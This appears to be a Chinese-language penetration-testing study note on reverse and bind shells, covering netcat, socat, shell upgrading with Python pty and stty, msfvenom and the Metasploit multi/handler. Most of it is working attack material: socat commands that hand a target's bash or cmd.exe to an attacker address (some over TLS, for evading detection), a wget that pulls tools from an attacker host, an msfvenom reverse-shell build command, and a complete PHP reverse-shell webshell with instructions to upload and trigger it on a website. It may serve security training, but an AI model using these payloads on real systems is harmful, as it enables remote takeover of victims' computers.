Shell
shell 就是我们在与命令行环境 (CLI) 交互时使用的工具。如,Linux上的sh
和bash
,Windows上的cmd.exe
和Powershell
.
Reverse shell
是指建立一条反向连接,在攻击者与受害者之间建立一个交互式 shell,使得攻击者可以远程控制被攻击者的计算机。
Bind shell"
是指在受害者计算机上开启一个服务端口,待攻击者与此端口建立连接后,即可获得一个交互式 shell,使得攻击者可以远程控制被攻击者的计算机。
常用工具:
Netcat
:是传统的网络“瑞士军刀”。可用于接收反向 shell,并连接到绑定在目标系统上的远程端口。
Socat
:加强版的netcat.
Metasploit
:用于接收反向shell.
Msfvenom
:可用于生成Payload。
SecLists repo【可以安装到Linux系统中】
Kali Linux 还预装了位于 /usr/share/webshells
Demo:
Netcat
升级shell
Python
- 一般都会装有Python,所以可以使用Python相关的命令,运行一段短代码
python -c 'import pty;pty.spawn("/bin/bash")'
出现错误
`/bin/sh: 4: python: not found
的原因可能是需要指定Python版本,比如python2
、python3
,此时应该升级成功了,但仍然不能使用 Tab 自动补全。输入
export TERM=xterm
并回车export TERM=xterm
命令是在 Linux 和 Unix 系统中用来设置环境变量TERM
的值为xterm
。而TERM
变量通常用于指定当前终端的类型,以便于操作系统和应用程序了解如何与终端进行交互。export TERM=xterm
命令可以使我们更好地进行基于字符界面的应用程序开发和调试,并确保这些应用程序使用正确的屏幕尺寸、颜色参数和其他终端特性。快捷键
Ctrl + Z
,将shell挂到后台,并输入stty raw -echo; fg
回车.至此,shell升级成功。(此时Ctrl + C不会关闭掉反弹的shell,且Tab可以自动补全了)stty raw -echo 是一个 Linux/Unix 命令,用于设置终端的输入模式和输出模式。具体来说,它将终端设置为“原始模式”(raw mode),这意味着输入字符不会被缓存,而是立即传递给程序进行处理。同时,它还关闭了回显功能,这意味着输入的字符不会被显示在终端上。
需要注意的是,使用 stty raw -echo 命令会将终端设置为原始模式,这可能会导致一些不便。因此,在使用完毕后,应该使用
stty cooked echo
命令将终端设置回标准模式Tips:如果 shell 死机,您自己终端中的任何输入都将不可见(由于禁用了终端回显)。要解决此问题,请键入
reset
并按回车键。
具体流程:
rlwrap
需要安装
apt install rlwrap
,监听时使用$ rlwrap nc -lvnp <port>
更适应于Windows。在Linux下,可以使用
Ctrl + Z
,在输入stty raw -echo;fg
回车。结束使用时要stty cooked echo
socat
- 使用更强大的socat(对于Linux而言)
- 可以通过攻击机进行
python -m http.server
(默认是8000端口)和目标机进行wget http://att_ip:8000/socat
来把文件下载到目标机上。powershell还可以通过Invoke-WebRequest -uri <LOCAL-IP>/socat.exe -outfile C:\\Windows\temp\socat.exe
---> 修改终端格式可以使用
stty
指令- 先使用
stty -a
查看 - 在反弹的shell中进行修改
stty rows 25
和stty cols 90
--> (这将改变终端的注册宽度和高度)
- 先使用
Socat
Linux安装 apt install socat
简单使用: 攻击机上使用 socat TCP-L:<port> -
(相当于nc -lvnp <port>
),目标机上使用 socat TCP:<攻击机IP>:<port> EXEC:/bin/bash 或cmd.exe
(具体根据平台)
Linux环境下使用:
socat TCP-L:<PORT> EXEC:"bash -li"
Windows环境下使用:
socat TCP-L:<PORT> EXEC:powershell.exe,pipes
socat 加密shell
socat 的众多优点之一是它能够创建加密的 shell 。通常能够绕过 IDS。
先生成证书
openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 365 -out shell.crt 此命令创建一个 2048 位 RSA 密钥和匹配的证书文件,自签名,有效期不到一年。其他信息可直接回车留白
合并
shell.key
和shell.crt
为.pem
文件。指令cat shell.key shell.crt > shell.pem
接下来就是监听(右边)和执行shell了(左边)
- 反向shell:
攻击机:socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 -
目标机:socat OPENSSL:<LOCAL-IP>:<LOCAL-PORT>,verify=0 EXEC:/bin/bash
- Bind shell:
Target:socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 EXEC:cmd.exe,pipes
Attacker:socat OPENSSL:<TARGET-IP>:<TARGET-PORT>,verify=0 -
msfvenom
主要用于为反向和绑定 shell 生成代码
基本语法msfvenom -p <PAYLOAD> <OPTIONS>
举个栗子:(生成Windows x64的反向shell指令可以是)
msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe LHOST=<listen-IP> LPORT=<listen-port>
-f
:指定输出格式;-o
:指定文件名和位置;LHOST
:要监听的IP
webshell
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.17.34.225'; // CHANGE THIS
$port = 1234; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
修改IP和端口,上传到网站上,在本地使用nc -lvnp <port>
监听,并访问文件地址即可
对于Windows系统来说,可以使用msfvenom
来生成.exe
文件
msfconsole
使用msfconsole
监听基本步骤
$ msfconsole
msf> use multi/handler
msf(multi/handler)> set payload windows/x86/meterpreter/reverse_tcp
msf(multi/handler)> set lhost local-ip
msf(multi/handler)> set lport <port>
查看payload类型,可以通过msfvenom --list
查看。